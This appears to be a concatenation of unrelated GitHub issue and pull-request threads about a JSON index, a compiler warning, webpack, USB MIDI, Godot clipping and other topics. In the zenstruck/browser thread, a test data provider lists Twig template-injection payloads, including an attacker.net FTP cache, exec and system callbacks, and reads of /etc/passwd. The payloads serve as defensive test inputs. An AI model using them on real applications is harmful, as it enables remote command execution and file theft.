There is no JSON index created on this column (even after reloading the table). This, however, worked after making the datatype as JSON. Looks like a bug, as the docs say: Note that JSON index can only be applied to STRING/JSON columns whose values are JSON strings.

Can you check if there is any exception when creating the JSON index? STRING data type has a default 512 length limit, so maybe some values are truncated, thus cause exception when parsing them as JSON


initialize an element of the array to comply with gcc's warning

In the spirit of avoiding triggering compiler warnings (as also discussed in #152) this is a simple fix to take care of the following uninitialized warning which is repeated 4 times
In file included from /home/davide/repo/github/diplib_davide/src/transform/dft.cpp:39:
In member function ‘pocketfft::detail::cmplx<decltype ((((const pocketfft::detail::cmplx<T>*)this)->pocketfft::detail::cmplx<T>::r * other))> pocketfft::detail::cmplx<T>::operator*(const T2&) const [with T2 = double; T = double]’,
    inlined from ‘void pocketfft::detail::fftblue<T0>::fft(pocketfft::detail::cmplx<T2>*, T0) const [with bool fwd = true; T = double; T0 = double]’ at /home/davide/repo/github/diplib_davide/dependencies/pocketfft/pocketfft_hdronly.h:2373:25,
    inlined from ‘void pocketfft::detail::fftblue<T0>::exec_r(T*, T0, bool) [with T = double; T0 = double]’ at /home/davide/repo/github/diplib_davide/dependencies/pocketfft/pocketfft_hdronly.h:2438:18,
    inlined from ‘void pocketfft::detail::pocketfft_r<T0>::exec(T*, T0, bool) const [with T = double; T0 = double]’ at /home/davide/repo/github/diplib_davide/dependencies/pocketfft/pocketfft_hdronly.h:2525:64:
/home/davide/repo/github/diplib_davide/dependencies/pocketfft/pocketfft_hdronly.h:252:15: warning: ‘*(const __vector(2) double*)res’ may be used uninitialized [-Wmaybe-uninitialized]
  252 |     { return {r*other, i*other}; }
      |               ^

Thank you!
I hate adding code to deal with bad diagnostics, but I don't see this adding any actual runtime cost.


Undefined array key 1 when the test failed

Hi,
I am migrating a large code base and try to use zenstruck/browser to replace the symfony client.
I am having some trouble as I am testing my login process. It's a json api, I have no problem with my admin authentication but when I am trying to login a normal user, the test fails.
I am surely not asking you to fix my test for me (but if you can without the code, you're very good :wink: )
Here is my test, I reduced the code to the minimal required here (the only thing which is not visible is that I am using a dataProvider to get $username and $password):
$response = $this->browser()
    ->post('/api/login_check', [
        'body' => [
            'username' => $username,
            'password' => $password,
        ],
    ])
    ->use(function (\Zenstruck\Browser\Response $response) {
        self::assertSame(Response::HTTP_OK, $response->statusCode());
    })
    ->response();

So the test fails at assertSame as the $response->statusCode() is 401. The problem remains the same if I change the ->use callback to a classic assertSame after the $response assignation.
The problem is that my output looks like this:
PHPUnit 9.5.0 by Sebastian Bergmann and contributors.

Testing Functional\Tests\App\Infrastructure\Symfony\Controller\LoginCheckControllerTest
Undefined array key 1

THE ERROR HANDLER HAS CHANGED!

Remaining self deprecation notices (10)

Remaining indirect deprecation notices (29)

I have no message, no file created in the var/browser/ directory so I know my test fails because I added some dd above the assertSame but I think this is not the expected behavior :wink:
Also var/log/test.log has no information.
As you might imagine, it's a legacy code migration... The architecture is a bit complex but still very clean and from what I can say the legacy tests don't interfere with this new ones (as I use different test suites and only runs the suite I am interested in, plus the test above only executes one test). I might have missed something and hopefully someone could point it out? Or at least give me some advice as I don't know where to look at for now.
If the test fails outside of the browser context (my fixtures are not loaded properly for example) I get a regular phpunit error stack trace.
Thank you for your help,
Please ask if I could add more information I didn't think of.

After some investigation with xdebug, the problem looks to be the regular expression in BrowserExtension which didn't handle data set with custom names.
Here is my data provider which I thought wouldn't be needed:
public function authentications(): \Generator
{
    yield 'as admin' => ['admin', 'password'];
    yield 'as member' => ['14-01-34', 'password'];
}

The normalizeTestName method work properly when the dataprovider don't have a name but the regular expression don't work when the data set is named.
I'll try to provide a patch :slightly_smiling_face:

I encountered on a case when I got:
Undefined array key 1

when running a test case with dataProvider with failure. Dug a bit deeper and found that:
App\Tests\…Test::test… with data set "asd" ('asdasd', true)

is not capture via regex of method: \Zenstruck\Browser\Test\BrowserExtension::normalizeTestName. If I debug a regex:

BUT if I remove that orphan parenthesis:

everything is fine.
I guess it's added for nested arguments list but it's failing. How do we proceed with that?

Are you able to find a regex string that properly captures the required data?

First, I want to find out what this regex is about. Especially this part: (.+"([\w ]+)".+?.

@flohw can you shed any light here.
This is a hard issue to diagnose as we can't test it outside of real apps using it.

Thanks for the detailed explaination @flohw!

This is because the name normalization is required to create the error or failure log file with the response to be able to see what's happening.
The generated error looks like a what PHPUnit generates when a test fails so the regex matches partially. I'm not sure it's strictly related to the data provider but they interfere with the error generated by assertSeeIn.
I am not sure how we could solve this. I hope @kbond or @nikophil will have a quick answer for you.
Can you provide a reproducible test case? It may help.

@flohw I will try to create a reproducible test; however, it might not be very soon 😞

I lost half a day before finding this issue, got the error Undefined array key 1 in /srv/app/vendor/zenstruck/browser/src/Browser/Test/BrowserExtension.php on line 127, had to use a custom error handler to find it.
I have a test like this :
/**
 * @dataProvider templateTwigContentProvider
 */
public function testCannotCreateTemplateWithTwigPayload(string $payload): void

With the following provider :
private function templateTwigContentProvider(): Generator
{
    yield 'self' => ['te{{self}}st'];
    yield '_self.env.setCache("ftp://attacker.net:2121") _self.env.loadTemplate("backdoor")' => ['te{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}st'];
    yield '_self.env.registerUndefinedFilterCallback("exec") _self.env.getFilter("id")' => ['te{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}st'];
    yield '\'/etc/passwd\'|file_excerpt(1,30)' => ['te{{\'/etc/passwd\'|file_excerpt(1,30)}}st'];
    yield '[\'id\']|filter(\'system\')' => ['te{{[\'id\']|filter(\'system\')}}st'];
    yield '[0]|reduce(\'system\',\'id\')' => ['te{{[0]|reduce(\'system\',\'id\')}}st'];
    yield '[\'id\']|map(\'system\')|join' => ['te{{[\'id\']|map(\'system\')|join}}st'];
    yield '[\'id\',1]|sort(\'system\')|join' => ['te{{[\'id\',1]|sort(\'system\')|join}}st'];
    yield '[\'cat\x20/etc/passwd\']|filter(\'system\')' => ['te{{[\'cat\x20/etc/passwd\']|filter(\'system\')}}st'];
    yield '[\'cat$IFS/etc/passwd\']|filter(\'system\')' => ['te{{[\'cat$IFS/etc/passwd\']|filter(\'system\')}}st'];
    yield '[\'id\']|filter(\'passthru\')' => ['te{{[\'id\']|filter(\'passthru\')}}st'];
    yield '[\'id\']|map(\'passthru\')' => ['te{{[\'id\']|map(\'passthru\')}}st'];
}

Maybe before finding another regex a quick-win solution would be to trigger an exception if there is no matches to point out that the dataset's name is "wrong" ?

Oi, those are complex names, what's the test name ($name var above) look like for the one that's failing?

Hi,
Could sscanf be an easy solution? It may be incomplete if there are double quotes in test names I think. I haven't tried it, just thought about it yesterday.

I just found another alternative with php infection : https://github.com/infection/infection/blob/61e6d0645b89104fbd660218d3408219ad7176b5/src/TestFramework/PhpUnit/CommandLine/ArgumentsAndOptionsBuilder.php#L126
The method is called at line 98 of the same class and the first parameter is the second element of the array created line 95.
I just put some note for now. I hope to be able to look on the different solution in the coming weeks while we update our project.

@raneomik added some tests for the parsing of the test names in #137. Once merged, let's add these permutations to the data provider and figure it out!

We work at the same place, actually and we exchanged about that. :wink:
I should be able to test the PR and the ideas I left here in the next two weeks while updating the project I am working on.

That PR is now merged so hopefully now that we have tests, we can solve this once and for all. We should add some of @0x346e3730's data provider names as they are mighty complex!


Added Sreenshot and updated ReadMe.md

Hello,
I Uploaded the screenshot of Blog to the /src/image/ under the name of page.png

Thanks @Neon-K9.


Consider PR into Webpack core.

It looks like you are using a lot of the core libs to perform some of this parallel functionality. Would you consider submitting a PR to webpack/webpack
If it speeds up any webpack build out of the box with out a doubt it would be great to integrate it to core like we've done with other plugins.

@TheLarkInn Thank you very much for the feedback. Yes, it would be nice, but current solution has some limitation to be integrated to webpack core:
stats objects produced by webpack and webpack-cluster are different.

@mdreizin Why not use the original stats format?

@stereokai it uses cluster api to compile config in separate process and data between main and child process should be serializable. Stats object has some circular references and now they can't be deserialized as is.
It was Initially designed for mono repo when, for instance lerna didn't exist. For now if you have many projects/packages I would recommend to use external solution for that.
But the idea of compiling each config (or array of configs) in separate process can be potentially integrated into webpack core.


Add a hamburger button to close or show the sidebar

Problem
Unable to get sidebar out of the view in desktop
Solution
A hamburger icon at the top of the sidebar that can alter the sidebar

@Sadeedpv Can I work on this?


Problems with devices with multiple virtual cables

When using a Novation 24SL MKII for example, which presents itself as a 4 virtual cable device, the device will not work and report:
WARN: starting new transfer on already active ep 0 in
WARN: startassertion "!(buf_ctrl & USB_BUF_CTRL_FULL)" failed: file "/home/xxx/dev/pico-sdk/lib/tinyusb/src/portable/raspberrypi/rp2040/rp2040_usb.c", line 219, function: sync_ep_buffer

@DatanoiseTV do you see the same issue if you try the midi2usbhub project? The same hardware should work, except now you have to use the CLI to route MIDI. It uses the latest MIDI host stack. I was able to
use an Arturia Keylab Essential 88 with it; it has 2 virtual cables.

@rppicomidi I didn't check that yet. What are the major differences between the USB MIDI Host implementation? I can give it a go tomorrow (and also send you some debug logs with increased verbosity, if that helps).

OK Thanks. I will close this issue. If you can describe what happens when replugging in a separate issue, I would appreciate it.


[MINOR] Add french stop word "les"

What changes were proposed in this pull request?
Added "les" as french stop word (plurial of le)

Can one of the admins verify this patch?

I think that's fine. This was a straight import from a third party library, but I don't see why this word wasn't included. Could you add [MINOR] to the title? https://spark.apache.org/contributing.html

Sure, thanks you

Test build #3832 has started for PR 18514 at commit 765cb05.

Test build #3832 has finished for PR 18514 at commit 765cb05.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged to master


Fix Node.js version in package.json and update version

Could the version also published in npm?

I'll look into publishing this when I get home. Thanks!


how to listen to new direct messages?

how can i been notified by new direct messages..
it needs a websockets maybe?

we need websockets ot stomp event passing techniqe ?
what do instagram use trick to know new event and messages?

Instagram seems to use modified MQTT protocol for real-time events.
Here is javascript library: https://github.com/Nerixyz/instagram_mqtt
I am trying to implement the protocol in java some time soon!

Instagram seems to use modified MQTT protocol for real-time events.
Here is javascript library: https://github.com/Nerixyz/instagram_mqtt
I am trying to implement the protocol in java some time soon!

maybe use AMQP and STOM :))
so you want say your library has no this functiinallity

Instagram seems to use modified MQTT protocol for real-time events.
Here is javascript library: https://github.com/Nerixyz/instagram_mqtt
I am trying to implement the protocol in java some time soon!

Please implement this soon.

Just wanted to provide update on this if people are still interested: I implemented a minimally functional MQTT/MQTToT client for Instagram realtime here.

The real-time listening of incoming messages is coved in EasyInsta library. See #666


Add FF_TWAPS_DECODING to sample env

Summary
Changes

Adds FF_TWAPS_DECODING to .env.sample file.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
2 unchanged lines in 2 files lost coverage.
Overall coverage decreased (-0.04%) to 48.808%

Files with Coverage Reduction
New Missed Lines
%

src/datasources/transaction-api/transaction-api.manager.ts
1
90.32%

src/datasources/balances-api/balances-api.manager.ts
1
72.22%

Totals

Change from base Build<PHONE_NUMBER>:
-0.04%

Covered Lines:
4193

Relevant Lines:
6929

💛  - Coveralls


upgrade electron to v6 and replace temp code to use es6 goodness

most code runs in browser, so we are good with es6 for now


Clipping in a SubViewport with transparent background is broken

Tested versions
4.2.2
System information
MacOS / Compatibility
Issue description

If you have a subviewport with a transparent background and add a clip node in it - it would fill the clip node with black color instead of making it transparent. On screenshot attached you can see what it looks like on the left, and on the right is the way it should look like. Am I missing something or is it a bad bug?
Steps to reproduce

Add a subviewport with transparent background enabled
Add a clip node inside the subviewport

Minimal reproduction project (MRP)
testproj.zip

Thank you for reporting, consolidating in:

https://github.com/godotengine/godot/issues/62184

See there for more details, if you think something was missed about this and it's not the same issue, please comment here and it can be reopened

It's an actual bug that was consolidated with a complaint about something else

Thank you for reporting, consolidating in:
* [Viewport transparency doesn't work with CanvasItem Clip Children #62184](https://github.com/godotengine/godot/issues/62184)

See there for more details, if you think something was missed about this and it's not the same issue, please comment here and it can be reopened

It's an actual bug that was consolidated with a complaint about something else, can this be reopened?

Please explain what is different? That bug is about clipping and viewports with transparent background

Please explain what is different? That bug is about clipping and viewports with transparent background

The other bug is about the fact that viewport transparency doesn't work for them - it's opaque. In my case viewport transparency is working fine, the issue is with the clipping node turning black.
The other bug seem to be about CanvasItem types.

It seems exactly the same but we'll see what the rendering team says

@AThousandShips Could you please provide any updates on this?

No I've heard no feedback yet

Okay 👍


Enable all the plugs while running cypress

Make plugs configurable in cypress https://github.com/ohcnetwork/care_fe/pull/8420#discussion_r1762500867.

@khavinshankar is this resolved?

non-relevant to current develop


chore(deps): upgrade dev dependencies

Upgrades project dependencies. See details in workflow run.

Automatically created by projen via the "upgrade-dev-dependencies-k8s-27-main" workflow

⚪ Backport skipped
The pull request was not backported as there were no branches to backport to. If this is a mistake, please apply the desired version labels or run the backport tool manually.
Manual backport
To create the backport manually run:
backport --pr 4180

Questions ?
Please refer to the Backport tool documentation


Self mention

Updated type annotation due to warning.
Bot will no longer DM if a contributor uses their own emoji (in a message, or as a reaction to a message)

Will assume that this can be merged
if not lmk

Will assume that this can be merged if not lmk

Already merged but yes all good to merge :)

yeah thats why i said if not lmk so i can reverse

@Sarahtonein yeah thats why i said if not lmk so i can reverse


custom domain name

Description of your issue
So i am trying to use this, however it seems that it hardcodes somehow the initial domain aka mydomain.herokuapp.com and if i add a custom domain name, logging in to wp-admin renders ERR_TOO_MANY_REDIRECTS
...
Steps to Reproduce
setup new heroku app, add custom domain, setup wordpress directly by accessing the custom domain, try to log in to wp-admin with the new domain - gives error - too many redirects.
the wp-options table seems to reference the new domain as well. so im not sure whats going on.a hint would be great.
...
Other Information
Git Commit/Version: latest

This is actually a Wordpress error that has to do with the way you have supplied the web address to Wordpress in your general settings.
http://www.wpbeginner.com/wp-tutorials/how-to-fix-error-too-many-redirects-issue-in-wordpress/

The issue here though is that we don't have the option to configure the domain from WP admin, right?

I'm experiencing the same issue, tried to set the following env vars but it didn't help:
WP_HOME, WP_SITEURL, HTTP_HOST.
What should I do?


Continue training from the checkpoint

I trained my model and noticed that after each step the best model was saved. accidentally I stopped training.
How can I pick up where I left off
Thanks in advance

I haven't tested it (yet), but according to the code in src/experiments.py, you can specify a --checkpoint_path in the training command line. I suppose it'll use the checkpoint and keep training from that


Developers wants to have fast TDD setup

What?
Developers wants to have an integrated solution for TDD which should be fast and simple.
How?
Use gaze-run-interrupt with alsatian

If easy nice, otherwise v2?

for TDD use "yarn watch-test"